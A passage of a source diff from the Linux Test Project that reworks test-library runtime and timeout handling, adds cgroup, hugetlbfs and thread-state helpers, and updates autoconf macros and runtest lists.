+} + static const char *limit_tmpfs_mount_size(const char *mnt_data, char *buf, size_t buf_size, const char *fs_type) { @@ -981,10 +1090,10 @@ static const char *limit_tmpfs_mount_size(const char *mnt_data, static const char *get_device_name(const char *fs_type) { - if (!strcmp(fs_type, "tmpfs")) - return "ltp-tmpfs"; - else - return tdev.dev; + if (!strcmp(fs_type, "tmpfs")) + return "ltp-tmpfs"; + else + return tdev.dev; } static void prepare_device(void) @@ -999,7 +1108,7 @@ static void prepare_device(void) if (tst_test->needs_rofs) { prepare_and_mount_ro_fs(tdev.dev, tst_test->mntpoint, - tdev.fs_type); + tdev.fs_type); return; } @@ -1013,11 +1122,29 @@ static void prepare_device(void) } } +static void do_cgroup_requires(void) +{ + const struct tst_cg_opts cg_opts = { + .needs_ver = tst_test->needs_cgroup_ver, + }; + const char *const *ctrl_names = tst_test->needs_cgroup_ctrls; + + for (; *ctrl_names; ctrl_names++) + tst_cg_require(*ctrl_names, &cg_opts); + + tst_cg_init(); +} + static void do_setup(int argc, char *argv[]) { if (!tst_test) tst_brk(TBROK, "No tests to run"); + if (tst_test->max_runtime < -1) { + tst_brk(TBROK, "Invalid runtime value %i", + results->max_runtime); + } + if (tst_test->tconf_msg) tst_brk(TCONF, "%s", tst_test->tconf_msg); @@ -1042,9 +1169,12 @@ static void do_setup(int argc, char *argv[]) if (tst_test->supported_archs && !tst_is_on_arch(tst_test->supported_archs)) tst_brk(TCONF, "This arch '%s' is not supported for test!", tst_arch.name); - if (tst_test->skip_in_lockdown && tst_lockdown_enabled()) + if (tst_test->skip_in_lockdown && tst_lockdown_enabled() > 0) tst_brk(TCONF, "Kernel is locked down, skipping test"); + if (tst_test->skip_in_secureboot && tst_secureboot_enabled() > 0) + tst_brk(TCONF, "SecureBoot enabled, skipping test"); + if (tst_test->skip_in_compat && TST_ABI != tst_kernel_bits()) tst_brk(TCONF, "Not supported in 32-bit compat mode"); @@ -1077,8 +1207,14 @@ static void do_setup(int argc, char *argv[]) if (tst_test->min_cpus > (unsigned long)tst_ncpus()) tst_brk(TCONF, "Test needs at least %lu CPUs online", tst_test->min_cpus); - if (tst_test->request_hugepages) - tst_request_hugepages(tst_test->request_hugepages); + if (tst_test->min_mem_avail > (unsigned long)(tst_available_mem() / 1024)) + tst_brk(TCONF, "Test needs at least %luMB MemAvailable", tst_test->min_mem_avail); + + if (tst_test->min_swap_avail > (unsigned long)(tst_available_swap() / 1024)) + tst_brk(TCONF, "Test needs at least %luMB SwapFree", tst_test->min_swap_avail); + + if (tst_test->hugepages.number) + tst_reserve_hugepages(&tst_test->hugepages); setup_ipc(); @@ -1089,11 +1225,11 @@ static void do_setup(int argc, char *argv[]) tst_tmpdir(); if (tst_test->save_restore) { - const char * const *name = tst_test->save_restore; + const struct tst_path_val *pvl = tst_test->save_restore; - while (*name) { - tst_sys_conf_save(*name); - name++; + while (pvl->path) { + tst_sys_conf_save(pvl); + pvl++; } } @@ -1101,15 +1237,16 @@ static void do_setup(int argc, char *argv[]) SAFE_MKDIR(tst_test->mntpoint, 0777); if ((tst_test->needs_devfs || tst_test->needs_rofs || - tst_test->mount_device || tst_test->all_filesystems) && + tst_test->mount_device || tst_test->all_filesystems || + tst_test->needs_hugetlbfs) && !tst_test->mntpoint) { tst_brk(TBROK, "tst_test->mntpoint must be set!"); } if (!!tst_test->needs_rofs + !!tst_test->needs_devfs + - !!tst_test->needs_device > 1) { + !!tst_test->needs_device + !!tst_test->needs_hugetlbfs > 1) { tst_brk(TBROK, - "Two or more of needs_{rofs, devfs, device} are set"); + "Two or more of needs_{rofs, devfs, device, hugetlbfs} are set"); } if (tst_test->needs_devfs) @@ -1121,12 +1258,15 @@ static void do_setup(int argc, char *argv[]) */ if (prepare_and_mount_ro_fs(NULL, tst_test->mntpoint, "tmpfs")) { tst_res(TINFO, "Can't mount tmpfs read-only, " - "falling back to block device..."); + "falling back to block device..."); tst_test->needs_device = 1; tst_test->format_device = 1; } } + if (tst_test->needs_hugetlbfs) + prepare_and_mount_hugetlb_fs(); + if (tst_test->needs_device && !mntpoint_mounted) { tdev.dev = tst_acquire_device_(NULL, tst_test->dev_min_size); @@ -1146,12 +1286,12 @@ static void do_setup(int argc, char *argv[]) prepare_device(); } - if (tst_test->needs_overlay && !tst_test->mount_device) { + if (tst_test->needs_overlay && !tst_test->mount_device) tst_brk(TBROK, "tst_test->mount_device must be set"); - } - if (tst_test->needs_overlay && !mntpoint_mounted) { + + if (tst_test->needs_overlay && !mntpoint_mounted) tst_brk(TBROK, "tst_test->mntpoint must be mounted"); - } + if (tst_test->needs_overlay && !ovl_mounted) { SAFE_MOUNT_OVERLAY(); ovl_mounted = 1; @@ -1165,6 +1305,11 @@ static void do_setup(int argc, char *argv[]) if (tst_test->taint_check) tst_taint_init(tst_test->taint_check); + + if (tst_test->needs_cgroup_ctrls) + do_cgroup_requires(); + else if (tst_test->needs_cgroup_ver) + tst_brk(TBROK, "tst_test->needs_cgroup_ctrls must be set"); } static void do_test_setup(void) @@ -1189,7 +1334,7 @@ static void do_test_setup(void) if (tst_test->setup) tst_test->setup(); - if (main_pid != getpid()) + if (main_pid != tst_getpid()) tst_brk(TBROK, "Runaway child in setup()!"); if (tst_test->caps) @@ -1198,6 +1343,9 @@ static void do_test_setup(void) static void do_cleanup(void) { + if (tst_test->needs_cgroup_ctrls) + tst_cg_cleanup(); + if (ovl_mounted) SAFE_UMOUNT(OVL_MNT); @@ -1221,6 +1369,24 @@ static void do_cleanup(void) cleanup_ipc(); } +static void heartbeat(void) +{ + if (tst_clock_gettime(CLOCK_MONOTONIC, &tst_start_time)) + tst_res(TWARN | TERRNO, "tst_clock_gettime() failed"); + + if (getppid() == 1) { + tst_res(TFAIL, "Main test process might have exit!"); + /* + * We need kill the task group immediately since the + * main process has exit. + */ + kill(0, SIGKILL); + exit(TBROK); + } + + kill(getppid(), SIGUSR1); +} + static void run_tests(void) { unsigned int i; @@ -1228,11 +1394,11 @@ static void run_tests(void) if (!tst_test->test) { saved_results = *results; + heartbeat(); tst_test->test_all(); - if (getpid() != main_pid) { + if (tst_getpid() != main_pid) exit(0); - } tst_reap_children(); @@ -1243,11 +1409,11 @@ static void run_tests(void) for (i = 0; i < tst_test->tcnt; i++) { saved_results = *results; + heartbeat(); tst_test->test(i); - if (getpid() != main_pid) { + if (tst_getpid() != main_pid) exit(0); - } tst_reap_children(); @@ -1283,24 +1449,6 @@ static void add_paths(void) free(new_path); } -static void heartbeat(void) -{ - if (tst_clock_gettime(CLOCK_MONOTONIC, &tst_start_time)) - tst_res(TWARN | TERRNO, "tst_clock_gettime() failed"); - - if (getppid() == 1) { - tst_res(TFAIL, "Main test process might have exit!"); - /* - * We need kill the task group immediately since the - * main process has exit. - */ - kill(0, SIGKILL); - exit(TBROK); - } - - kill(getppid(), SIGUSR1); -} - static void testrun(void) { unsigned int i = 0; @@ -1375,40 +1523,31 @@ static void sigint_handler(int sig LTP_ATTRIBUTE_UNUSED) } } -unsigned int tst_timeout_remaining(void) +unsigned int tst_remaining_runtime(void) { static struct timespec now; - unsigned int elapsed; + int elapsed; + + if (results->max_runtime == TST_UNLIMITED_RUNTIME) + return UINT_MAX; + + if (results->max_runtime == 0) + tst_brk(TBROK, "Runtime not set!"); if (tst_clock_gettime(CLOCK_MONOTONIC, &now)) tst_res(TWARN | TERRNO, "tst_clock_gettime() failed"); - elapsed = (tst_timespec_diff_ms(now, tst_start_time) + 500) / 1000; - if (results->timeout > elapsed) - return results->timeout - elapsed; + elapsed = tst_timespec_diff_ms(now, tst_start_time) / 1000; + if (results->max_runtime > elapsed) + return results->max_runtime - elapsed; return 0; } + unsigned int tst_multiply_timeout(unsigned int timeout) { - char *mul; - int ret; - - if (timeout_mul == -1) { - mul = getenv("LTP_TIMEOUT_MUL"); - if (mul) { - if ((ret = tst_parse_float(mul, &timeout_mul, 1, 10000))) { - tst_brk(TBROK, "Failed to parse LTP_TIMEOUT_MUL: %s", - tst_strerrno(ret)); - } - } else { - timeout_mul = 1; - } - } - if (timeout_mul < 1) - tst_brk(TBROK, "LTP_TIMEOUT_MUL must to be int >= 1! (%.2f)", - timeout_mul); + parse_mul(&timeout_mul, "LTP_TIMEOUT_MUL", 0.099, 10000); if (timeout < 1) tst_brk(TBROK, "timeout must to be >= 1! (%d)", timeout); @@ -1416,38 +1555,44 @@ unsigned int tst_multiply_timeout(unsigned int timeout) return timeout * timeout_mul; } -void tst_set_timeout(int timeout) +static void set_timeout(void) { - if (timeout == -1) { + unsigned int timeout = DEFAULT_TIMEOUT; + + if (results->max_runtime == TST_UNLIMITED_RUNTIME) { tst_res(TINFO, "Timeout per run is disabled"); return; } - if (timeout < 1) - tst_brk(TBROK, "timeout must to be >= 1! (%d)", timeout); + if (results->max_runtime < 0) { + tst_brk(TBROK, "max_runtime must to be >= -1! (%d)", + results->max_runtime); + } - results->timeout = tst_multiply_timeout(timeout); + results->timeout = tst_multiply_timeout(timeout) + results->max_runtime; tst_res(TINFO, "Timeout per run is %uh %02um %02us", results->timeout/3600, (results->timeout%3600)/60, results->timeout % 60); +} - if (getpid() == lib_pid) - alarm(results->timeout); - else - heartbeat(); +void tst_set_max_runtime(int max_runtime) +{ + results->max_runtime = multiply_runtime(max_runtime); + tst_res(TINFO, "Updating max runtime to %uh %02um %02us", + max_runtime/3600, (max_runtime%3600)/60, max_runtime % 60); + set_timeout(); + heartbeat(); } static int fork_testrun(void) { int status; - if (tst_test->timeout) - tst_set_timeout(tst_test->timeout); - else - tst_set_timeout(300); - SAFE_SIGNAL(SIGINT, sigint_handler); + SAFE_SIGNAL(SIGTERM, sigint_handler); + + alarm(results->timeout); test_pid = fork(); if (test_pid < 0) @@ -1457,6 +1602,7 @@ static int fork_testrun(void) tst_disable_oom_protection(0); SAFE_SIGNAL(SIGALRM, SIG_DFL); SAFE_SIGNAL(SIGUSR1, SIG_DFL); + SAFE_SIGNAL(SIGTERM, SIG_DFL); SAFE_SIGNAL(SIGINT, SIG_DFL); SAFE_SETPGID(0, 0); testrun(); @@ -1464,6 +1610,7 @@ static int fork_testrun(void) SAFE_WAITPID(test_pid, &status, 0); alarm(0); + SAFE_SIGNAL(SIGTERM, SIG_DFL); SAFE_SIGNAL(SIGINT, SIG_DFL); if (tst_test->taint_check && tst_taint_check()) { @@ -1471,6 +1618,9 @@ static int fork_testrun(void) return TFAIL; } + if (tst_test->forks_child && kill(-test_pid, SIGKILL) == 0) + tst_res(TINFO, "Killed the leftover descendant processes"); + if (WIFEXITED(status) && WEXITSTATUS(status)) return WEXITSTATUS(status); @@ -1497,7 +1647,7 @@ static int run_tcases_per_fs(void) for (i = 0; filesystems[i]; i++) { - tst_res(TINFO, "Testing on %s", filesystems[i]); + tst_res(TINFO, "=== Testing on %s ===", filesystems[i]); tdev.fs_type = filesystems[i]; prepare_device(); @@ -1537,6 +1687,13 @@ void tst_run_tcases(int argc, char *argv[], struct tst_test *self) SAFE_SIGNAL(SIGALRM, alarm_handler); SAFE_SIGNAL(SIGUSR1, heartbeat_handler); + tst_res(TINFO, "LTP version: "LTP_VERSION); + + if (tst_test->max_runtime) + results->max_runtime = multiply_runtime(tst_test->max_runtime); + + set_timeout(); + if (tst_test->test_variants) test_variants = tst_test->test_variants; diff --git a/lib/tst_thread_state.c b/lib/tst_thread_state.c new file mode 100644 index 00000000..6562dfaf --- /dev/null +++ b/lib/tst_thread_state.c @@ -0,0 +1,38 @@ +// SPDX-License-Identifier: GPL-2.0-or-later +/* + * Copyright (C) 2022 SUSE LLC Andrea Cervesato + */ + +#include +#include +#include +#include + +#include "tst_safe_file_ops.h" +#include "tst_process_state.h" + +int tst_thread_state_wait(pid_t tid, const char state, + unsigned int msec_timeout) +{ + char proc_path[128], cur_state; + unsigned int msecs = 0; + + snprintf(proc_path, sizeof(proc_path), "/proc/self/task/%i/stat", tid); + + for (;;) { + SAFE_FILE_SCANF(proc_path, "%*i %*s %c", &cur_state); + + if (state == cur_state) + break; + + usleep(1000); + msecs += 1; + + if (msec_timeout && msecs >= msec_timeout) { + errno = ETIMEDOUT; + return -1; + } + } + + return 0; +} diff --git a/lib/tst_timer_test.c b/lib/tst_timer_test.c index 3cd52fc9..512edc54 100755 --- a/lib/tst_timer_test.c +++ b/lib/tst_timer_test.c @@ -67,7 +67,7 @@ static const char *table_heading = " Time: us "; */ static unsigned int header_len(long long max_sample) { - unsigned int l = 1; + size_t l = 1; while (max_sample/=10) l++; @@ -184,7 +184,7 @@ static int cmp(const void *a, const void *b) static long long compute_threshold(long long requested_us, unsigned int nsamples) { - unsigned int slack_per_scall = MIN(100000, requested_us / 1000); + unsigned int slack_per_scall = MIN(100000LL, requested_us / 1000); slack_per_scall = MAX(slack_per_scall, timerslack); @@ -237,7 +237,7 @@ static void write_to_file(void) * What we do here is: * * * Take nsamples measurements of the timer function, the function - * to be sampled is defined in the the actual test. + * to be sampled is defined in the actual test. * * * We sort the array of samples, then: * @@ -420,6 +420,9 @@ static struct tst_option options[] = { static void parse_timer_opts(void) { + size_t i; + long long runtime_us = 0; + if (str_sleep_time) { if (tst_parse_int(str_sleep_time, &sleep_time, 0, INT_MAX)) { tst_brk(TBROK, @@ -441,14 +444,17 @@ static void parse_timer_opts(void) if (!sample_cnt) sample_cnt = 500; - long long timeout = sleep_time * sample_cnt / 1000000; - - tst_set_timeout(timeout + timeout/10); + runtime_us = sleep_time * sample_cnt; test->test_all = single_timer_test; test->test = NULL; test->tcnt = 0; + } else { + for (i = 0; i < ARRAY_SIZE(tcases); i++) + runtime_us += tcases[i].usec * tcases[i].samples; } + + tst_set_max_runtime((runtime_us + runtime_us/10)/1000000); } struct tst_test *tst_timer_test_setup(struct tst_test *timer_test) diff --git a/lib/tst_tmpdir.c b/lib/tst_tmpdir.c index 6e38ae97..b73b5c66 100755 --- a/lib/tst_tmpdir.c +++ b/lib/tst_tmpdir.c @@ -122,6 +122,21 @@ char *tst_get_tmpdir(void) return ret; } +const char *tst_get_tmpdir_root(void) +{ + const char *env_tmpdir = getenv("TMPDIR"); + + if (!env_tmpdir) + env_tmpdir = TEMPDIR; + + if (env_tmpdir[0] != '/') { + tst_brkm(TBROK, NULL, "You must specify an absolute " + "pathname for environment variable TMPDIR"); + return NULL; + } + return env_tmpdir; +} + const char *tst_get_startwd(void) { return test_start_work_dir; @@ -245,31 +260,16 @@ static int rmobj(const char *obj, char **errmsg) void tst_tmpdir(void) { char template[PATH_MAX]; - char *env_tmpdir; - char *errmsg, *c; + const char *env_tmpdir; + char *errmsg; /* * Create a template for the temporary directory. Use the * environment variable TMPDIR if it is available, otherwise * use our default TEMPDIR. */ - env_tmpdir = getenv("TMPDIR"); - if (env_tmpdir) { - c = strchr(env_tmpdir, '/'); - /* - * Now we force environment variable TMPDIR to be an absolute - * pathname, which dose not make much sense, but it will - * greatly simplify code in tst_rmdir(). - */ - if (c != env_tmpdir) { - tst_brkm(TBROK, NULL, "You must specify an absolute " - "pathname for environment variable TMPDIR"); - return; - } - snprintf(template, PATH_MAX, "%s/%.3sXXXXXX", env_tmpdir, TCID); - } else { - snprintf(template, PATH_MAX, "%s/%.3sXXXXXX", TEMPDIR, TCID); - } + env_tmpdir = tst_get_tmpdir_root(); + snprintf(template, PATH_MAX, "%s/LTP_%.3sXXXXXX", env_tmpdir, TCID); /* Make the temporary directory in one shot using mkdtemp. */ if (mkdtemp(template) == NULL) { diff --git a/libs/libltpnuma/tst_numa.c b/libs/libltpnuma/tst_numa.c index 417d98ce..c3297013 100755 --- a/libs/libltpnuma/tst_numa.c +++ b/libs/libltpnuma/tst_numa.c @@ -127,8 +127,10 @@ static int node_has_enough_memory(int node, size_t min_kb) { char path[1024]; char buf[1024]; - long mem_total = 0; - long mem_used = 0; + long mem_total = -1; + long mem_used = -1; + long file_pages = 0; + long mem_avail; /* Make sure there is some space for kernel upkeeping as well */ min_kb += 4096; @@ -152,19 +154,24 @@ static int node_has_enough_memory(int node, size_t min_kb) if (sscanf(buf, "%*s %*i MemUsed: %li", &val) == 1) mem_used = val; + + if (sscanf(buf, "%*s %*i FilePages: %li", &val) == 1) + file_pages = val; } fclose(fp); - if (!mem_total || !mem_used) { + if (mem_total == -1 || mem_used == -1) { tst_res(TWARN, "Failed to parse '%s'", path); return 0; } - if (mem_total - mem_used < (long)min_kb) { + mem_avail = mem_total - mem_used + (9 * file_pages)/10; + + if (mem_avail < (long)min_kb) { tst_res(TINFO, "Not enough free RAM on node %i, have %likB needs %zukB", - node, mem_total - mem_used, min_kb); + node, mem_avail, min_kb); return 0; } diff --git a/libs/libltpsigwait/sigwait.c b/libs/libltpsigwait/sigwait.c index 2be94992..86899954 100755 --- a/libs/libltpsigwait/sigwait.c +++ b/libs/libltpsigwait/sigwait.c @@ -5,9 +5,9 @@ #include #include #include -#include "lapi/syscalls.h" #include "libsigwait.h" #include "tst_sig_proc.h" +#include "lapi/syscalls.h" void test_empty_set(swi_func sigwaitinfo, int signo, enum tst_ts_type type LTP_ATTRIBUTE_UNUSED) diff --git a/libs/libltpswap/libswap.c b/libs/libltpswap/libswap.c index 796ac033..a4427736 100755 --- a/libs/libltpswap/libswap.c +++ b/libs/libltpswap/libswap.c @@ -8,9 +8,9 @@ #define TST_NO_DEFAULT_MAIN -#include "lapi/syscalls.h" #include "tst_test.h" #include "libswap.h" +#include "lapi/syscalls.h" /* * Make a swap file diff --git a/libs/libltpuinput/tst_uinput.c b/libs/libltpuinput/tst_uinput.c index f4eee07b..6dc8a7d4 100755 --- a/libs/libltpuinput/tst_uinput.c +++ b/libs/libltpuinput/tst_uinput.c @@ -140,7 +140,7 @@ void create_input_device(int fd) } }; - SAFE_WRITE(1, fd, &uidev, sizeof(uidev)); + SAFE_WRITE(SAFE_WRITE_ALL, fd, &uidev, sizeof(uidev)); SAFE_IOCTL(fd, UI_DEV_CREATE, NULL); for (nb = 100; nb > 0; nb--) { diff --git a/m4/ax_check_compile_flag.m4 b/m4/ax_check_compile_flag.m4 new file mode 100644 index 00000000..bd753b34 --- /dev/null +++ b/m4/ax_check_compile_flag.m4 @@ -0,0 +1,53 @@ +# =========================================================================== +# https://www.gnu.org/software/autoconf-archive/ax_check_compile_flag.html +# =========================================================================== +# +# SYNOPSIS +# +# AX_CHECK_COMPILE_FLAG(FLAG, [ACTION-SUCCESS], [ACTION-FAILURE], [EXTRA-FLAGS], [INPUT]) +# +# DESCRIPTION +# +# Check whether the given FLAG works with the current language's compiler +# or gives an error. (Warnings, however, are ignored) +# +# ACTION-SUCCESS/ACTION-FAILURE are shell commands to execute on +# success/failure. +# +# If EXTRA-FLAGS is defined, it is added to the current language's default +# flags (e.g. CFLAGS) when the check is done. The check is thus made with +# the flags: "CFLAGS EXTRA-FLAGS FLAG". This can for example be used to +# force the compiler to issue an error when a bad flag is given. +# +# INPUT gives an alternative input source to AC_COMPILE_IFELSE. +# +# NOTE: Implementation based on AX_CFLAGS_GCC_OPTION. Please keep this +# macro in sync with AX_CHECK_{PREPROC,LINK}_FLAG. +# +# LICENSE +# +# Copyright (c) 2008 Guido U. Draheim +# Copyright (c) 2011 Maarten Bosmans +# +# Copying and distribution of this file, with or without modification, are +# permitted in any medium without royalty provided the copyright notice +# and this notice are preserved. This file is offered as-is, without any +# warranty. + +#serial 6 + +AC_DEFUN([AX_CHECK_COMPILE_FLAG], +[AC_PREREQ(2.64)dnl for _AC_LANG_PREFIX and AS_VAR_IF +AS_VAR_PUSHDEF([CACHEVAR],[ax_cv_check_[]_AC_LANG_ABBREV[]flags_$4_$1])dnl +AC_CACHE_CHECK([whether _AC_LANG compiler accepts $1], CACHEVAR, [ + ax_check_save_flags=$[]_AC_LANG_PREFIX[]FLAGS + _AC_LANG_PREFIX[]FLAGS="$[]_AC_LANG_PREFIX[]FLAGS $4 $1" + AC_COMPILE_IFELSE([m4_default([$5],[AC_LANG_PROGRAM()])], + [AS_VAR_SET(CACHEVAR,[yes])], + [AS_VAR_SET(CACHEVAR,[no])]) + _AC_LANG_PREFIX[]FLAGS=$ax_check_save_flags]) +AS_VAR_IF(CACHEVAR,yes, + [m4_default([$2], :)], + [m4_default([$3], :)]) +AS_VAR_POPDEF([CACHEVAR])dnl +])dnl AX_CHECK_COMPILE_FLAGS diff --git a/m4/ltp-docparse.m4 b/m4/ltp-docparse.m4 index 88d2e08e..9514e5e1 100755 --- a/m4/ltp-docparse.m4 +++ b/m4/ltp-docparse.m4 @@ -35,7 +35,13 @@ with_metadata=no with_metadata_html=no with_metadata_pdf=no -if test "x$enable_metadata" = xyes && test "x$enable_metadata_html" = xyes -o "x$enable_metadata_pdf" = xyes; then +if test "x$enable_metadata" != xyes; then + enable_metadata_html=no + enable_metadata_pdf=no + with_metadata_generator=none +fi + +if test "x$enable_metadata_html" = xyes -o "x$enable_metadata_pdf" = xyes; then AX_PROG_PERL_MODULES(Cwd File::Basename JSON LWP::Simple) fi diff --git a/m4/ltp-eventfd.m4 b/m4/ltp-eventfd.m4 index 5d729a33..1e0ec688 100755 --- a/m4/ltp-eventfd.m4 +++ b/m4/ltp-eventfd.m4 @@ -1,6 +1,6 @@ dnl SPDX-License-Identifier: GPL-2.0-or-later dnl Copyright (c) Red Hat Inc., 2008 -dnl Copyright (c) 2017 Petr Vorel +dnl Copyright (c) 2017-2022 Petr Vorel dnl Author: Masatake YAMATO AC_DEFUN([LTP_CHECK_SYSCALL_EVENTFD], [ @@ -12,12 +12,12 @@ AC_DEFUN([LTP_CHECK_SYSCALL_EVENTFD], [ AC_SUBST(AIO_LIBS, "-laio") AC_MSG_CHECKING([io_set_eventfd is defined in aio library or aio header]) - AC_TRY_LINK([#include - #include - ], - [io_set_eventfd(NULL, 0); return 0;], - [AC_DEFINE(HAVE_IO_SET_EVENTFD, 1, [Define to 1 if you have `io_set_eventfd' function.]) - AC_MSG_RESULT(yes)], - [AC_MSG_RESULT(no)]) + AC_LINK_IFELSE([AC_LANG_PROGRAM([[#include + #include + ]], + [[io_set_eventfd(NULL, 0); return 0;]])], + [AC_DEFINE(HAVE_IO_SET_EVENTFD, 1, [Define to 1 if you have `io_set_eventfd' function.]) + AC_MSG_RESULT(yes)], + [AC_MSG_RESULT(no)]) fi ]) diff --git a/m4/ltp-fsverity.m4 b/m4/ltp-fsverity.m4 new file mode 100644 index 00000000..71048865 --- /dev/null +++ b/m4/ltp-fsverity.m4 @@ -0,0 +1,10 @@ +dnl SPDX-License-Identifier: GPL-2.0-or-later +dnl Copyright (c) 2022 Fujitsu Ltd. +dnl Author: Dai Shili + +AC_DEFUN([LTP_CHECK_FSVERITY],[ + AC_CHECK_HEADERS([linux/fsverity.h], [have_fsverity=yes], [AC_MSG_WARN(missing linux/fsverity.h header)]) + if test "x$have_fsverity" = "xyes"; then + AC_CHECK_TYPES(struct fsverity_enable_arg,,,[#include ]) + fi +]) diff --git a/m4/ltp-kernel_devel.m4 b/m4/ltp-kernel_devel.m4 index 8a0598e5..d46d5477 100755 --- a/m4/ltp-kernel_devel.m4 +++ b/m4/ltp-kernel_devel.m4 @@ -9,7 +9,7 @@ AC_DEFUN([LTP_CHECK_KERNEL_DEVEL],[ AC_MSG_CHECKING([for kernel-devel]) AC_ARG_WITH( [linux-version], - [AC_HELP_STRING([--with-linux-version=VERSION], + [AS_HELP_STRING([--with-linux-version=VERSION], [specify the Linux version to build modules for])], [LINUX_VERSION="${withval}"], AS_IF([test "$cross_compiling" = "no"], @@ -18,7 +18,7 @@ AC_ARG_WITH( AC_SUBST(LINUX_VERSION) AC_ARG_WITH([linux-dir], - [AC_HELP_STRING([--with-linux-dir=DIR], + [AS_HELP_STRING([--with-linux-dir=DIR], [specify path to kernel-devel directory])], [LINUX_DIR="${withval}"], AS_IF([test -n "$LINUX_VERSION"], @@ -44,7 +44,7 @@ AC_MSG_RESULT([$WITH_MODULES]) AC_ARG_WITH( [modules], - [AC_HELP_STRING([--without-modules], + [AS_HELP_STRING([--without-modules], [disable auto-building kernel modules])], [WITH_MODULES="no"], []) diff --git a/metadata/metaparse.c b/metadata/metaparse.c index f71d8628..2384c73c 100755 --- a/metadata/metaparse.c +++ b/metadata/metaparse.c @@ -876,7 +876,7 @@ int main(int argc, char *argv[]) for (j = 0; implies[i].implies[j]; j++) { if (data_node_hash_get(res, implies[i].implies[j])) fprintf(stderr, "%s: useless tag: %s\n", - argv[1], implies[i].implies[j]); + argv[optind], implies[i].implies[j]); } } } diff --git a/metadata/parse.sh b/metadata/parse.sh index b43d024c..69bf5db6 100755 --- a/metadata/parse.sh +++ b/metadata/parse.sh @@ -23,13 +23,13 @@ echo ' "scm_url_base": "https://github.com/linux-test-project/ltp/tree/master/" echo " \"version\": \"$version\"" echo ' },' echo ' "defaults": {' -echo ' "timeout": 300' +echo ' "timeout": 30' echo ' },' echo ' "tests": {' first=1 -for test in `find testcases/ -name '*.c'`; do +for test in `find testcases/ -name '*.c'|sort`; do a=$($top_builddir/metadata/metaparse -Iinclude -Itestcases/kernel/syscalls/utils/ "$test") if [ -n "$a" ]; then if [ -z "$first" ]; then diff --git a/pan/Makefile b/pan/Makefile index 8cefa99a..e8596ec2 100755 --- a/pan/Makefile +++ b/pan/Makefile @@ -39,18 +39,10 @@ INSTALL_DIR := bin MAKE_TARGETS := ltp-bump ltp-pan -ifeq ($(strip $(LEXLIB)),) -$(warning ltp-scanner will not be built because a working copy of lex was not found) -else -MAKE_TARGETS += ltp-scanner -endif - ltp-bump: ltp-bump.o zoolib.o ltp-pan: ltp-pan.o zoolib.o splitstr.o -ltp-scanner: scan.o ltp-scanner.o reporter.o tag_report.o symbol.o splitstr.o debug.o - # flex does some whacky junk when it generates files on the fly, so let's make # sure gcc doesn't get lost... vpath %.c $(abs_srcdir):$(abs_builddir))) diff --git a/runltp b/runltp index 4447da15..94c4c9b5 100755 --- a/runltp +++ b/runltp @@ -756,7 +756,7 @@ EOF fi done if $use_faultinjection; then - #If atleast one of the Framework is available + #If at least one of the Framework is available #Go ahead to Inject Fault & Create required #Command Files for LTP run echo Running tests with Fault Injection Enabled in the Kernel... diff --git a/runtest/commands b/runtest/commands index 8cfad044..5ec2c3b6 100755 --- a/runtest/commands +++ b/runtest/commands @@ -14,13 +14,7 @@ ln01_sh ln_tests.sh mkdir01_sh mkdir_tests.sh mv01_sh mv_tests.sh du01_sh du01.sh -df01_ext2_sh df01.sh -f ext2 -df01_ext3_sh df01.sh -f ext3 -df01_ext4_sh df01.sh -f ext4 -df01_xfs_sh df01.sh -f xfs -df01_vfat_sh df01.sh -f vfat -df01_exfat_sh df01.sh -f exfat -df01_ntfs_sh df01.sh -f ntfs +df01_sh df01.sh mkfs01_sh mkfs01.sh mkfs01_ext2_sh mkfs01.sh -f ext2 mkfs01_ext3_sh mkfs01.sh -f ext3 diff --git a/runtest/containers b/runtest/containers index eea7bfad..5dcceab3 100755 --- a/runtest/containers +++ b/runtest/containers @@ -16,62 +16,60 @@ pidns31 pidns31 pidns32 pidns32 mqns_01 mqns_01 -mqns_01_clone mqns_01 -clone +mqns_01_clone mqns_01 -m clone +mqns_01_unshare mqns_01 -m unshare mqns_02 mqns_02 -mqns_02_clone mqns_02 -clone -mqns_03 mqns_03 -mqns_03_clone mqns_03 -clone -mqns_04 mqns_04 -mqns_04_clone mqns_04 -clone +mqns_02_clone mqns_02 -m clone +mqns_02_unshare mqns_02 -m unshare +mqns_03_unshare mqns_03 -m unshare +mqns_03_clone mqns_03 -m clone +mqns_04_unshare mqns_04 -m unshare +mqns_04_clone mqns_04 -m clone netns_netlink netns_netlink -netns_breakns_ns_exec_ipv4_netlink netns_breakns.sh ns_exec ipv4 netlink -netns_breakns_ns_exec_ipv6_netlink netns_breakns.sh ns_exec ipv6 netlink -netns_breakns_ns_exec_ipv4_ioctl netns_breakns.sh ns_exec ipv4 ioctl -netns_breakns_ns_exec_ipv6_ioctl netns_breakns.sh ns_exec ipv6 ioctl -netns_breakns_ip_ipv4_netlink netns_breakns.sh ip ipv4 netlink -netns_breakns_ip_ipv6_netlink netns_breakns.sh ip ipv6 netlink -netns_breakns_ip_ipv4_ioctl netns_breakns.sh ip ipv4 ioctl -netns_breakns_ip_ipv6_ioctl netns_breakns.sh ip ipv6 ioctl -netns_comm_ns_exec_ipv4_netlink netns_comm.sh ns_exec ipv4 netlink -netns_comm_ns_exec_ipv6_netlink netns_comm.sh ns_exec ipv6 netlink -netns_comm_ns_exec_ipv4_ioctl netns_comm.sh ns_exec ipv4 ioctl -netns_comm_ns_exec_ipv6_ioctl netns_comm.sh ns_exec ipv6 ioctl -netns_comm_ip_ipv4_netlink netns_comm.sh ip ipv4 netlink -netns_comm_ip_ipv6_netlink netns_comm.sh ip ipv6 netlink -netns_comm_ip_ipv4_ioctl netns_comm.sh ip ipv4 ioctl -netns_comm_ip_ipv6_ioctl netns_comm.sh ip ipv6 ioctl +netns_breakns_ip_ipv4_netlink netns_breakns.sh +netns_breakns_ip_ipv6_netlink netns_breakns.sh -6 +netns_breakns_ip_ipv4_ioctl netns_breakns.sh -I +netns_breakns_ip_ipv6_ioctl netns_breakns.sh -6I +netns_breakns_ns_exec_ipv4_netlink netns_breakns.sh -e +netns_breakns_ns_exec_ipv6_netlink netns_breakns.sh -6e +netns_breakns_ns_exec_ipv4_ioctl netns_breakns.sh -eI +netns_breakns_ns_exec_ipv6_ioctl netns_breakns.sh -6eI +netns_comm_ip_ipv4_netlink netns_comm.sh +netns_comm_ip_ipv6_netlink netns_comm.sh -6 +netns_comm_ip_ipv4_ioctl netns_comm.sh -I +netns_comm_ip_ipv6_ioctl netns_comm.sh -6I +netns_comm_ns_exec_ipv4_netlink netns_comm.sh -e +netns_comm_ns_exec_ipv6_netlink netns_comm.sh -6e +netns_comm_ns_exec_ipv4_ioctl netns_comm.sh -eI 